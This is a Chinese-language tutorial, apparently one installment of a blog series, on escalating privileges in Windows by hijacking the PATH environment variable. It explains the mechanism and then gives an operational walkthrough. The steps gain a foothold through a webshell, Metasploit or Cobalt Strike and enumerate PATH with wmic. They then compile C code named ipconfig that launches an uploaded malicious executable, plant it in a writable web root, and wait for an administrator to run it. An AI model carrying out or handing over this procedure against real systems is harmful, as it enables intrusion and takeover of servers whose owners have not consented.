操作系统权限提升(五)之系统错误配置-PATH环境变量提权
系列文章
操作系统权限提升(一)之操作系统权限介绍
操作系统权限提升(二)之常见提权的环境介绍
操作系统权限提升(三)之Windows系统内核溢出漏洞提权
操作系统权限提升(四)之系统错误配置-Tusted Service Paths提权
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!
PATH环境变量提权
PATH环境变量提权原理
PATH环境变量包含很多目录列表,某些执行程序的方法(即使用cmd.exe或命令 行)仅依赖PATH环境变量来确定未提供程序路径时搜索程序的位置。
简单说就是当用户 在cmd命令行中运行一个命令时,若是没有使用绝对路径运行,如“C:\Windows\System32\ipconfig.exe”,直接在cmd中行“ipconfig”,那么Windows会先在当前目录寻找“ipconfig.exe”,若是没找到,则会根据PATH环境变量里的目录依次去寻找。
通常新增PATH环变量是在最后面添加,若是由于配置不当,导致在最前面新增了 PATH环境变量,那么在此目录下新建与常用系统命令一样名字的exe程序会优先执行
提权环境准备
打开环境变量在最前面添加一个路径,将其放置到第一个位置上
我们在wwwroot目录下创建一个自己写的ipconfig程序
echo 1 ipconfig
然后我们系统执行ipconfig命令
由于系统是按照环境变量的顺序来寻找ipconfig.exe的程序的,而我们又将wwwroot这个目录放置到了第一顺位,所以如果在cmd中输入ipconfig命令,就会先执行我们所创建的ipconfig程序,而不是系统默认的ipconfig
讲到这里大家也就明白了PATH环境变量劫持提权是怎么一回事了吧
PATH提权环境实战
1、先用webhsell MSF 或者CS上线机器
2、查找环境变量,发现前面有有一个 C:\inetpub\wwwroot
wmic ENVIRONMENT where "name='path'" get UserName, VariableValue
3、查看上传的cs恶意程序的目录路劲,记录下来,后面写恶意程序要用到
4、制作恶意的软件,记住编译时一定要保存为ipconfig
#include<stdio.h>
#include<stdlib.h>
int main(){
system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
return 0;
}
5、将软件上传到 C:\inetpub\wwwroot 目录下
6、等待管理员运行ipconfig 我们就可以上线了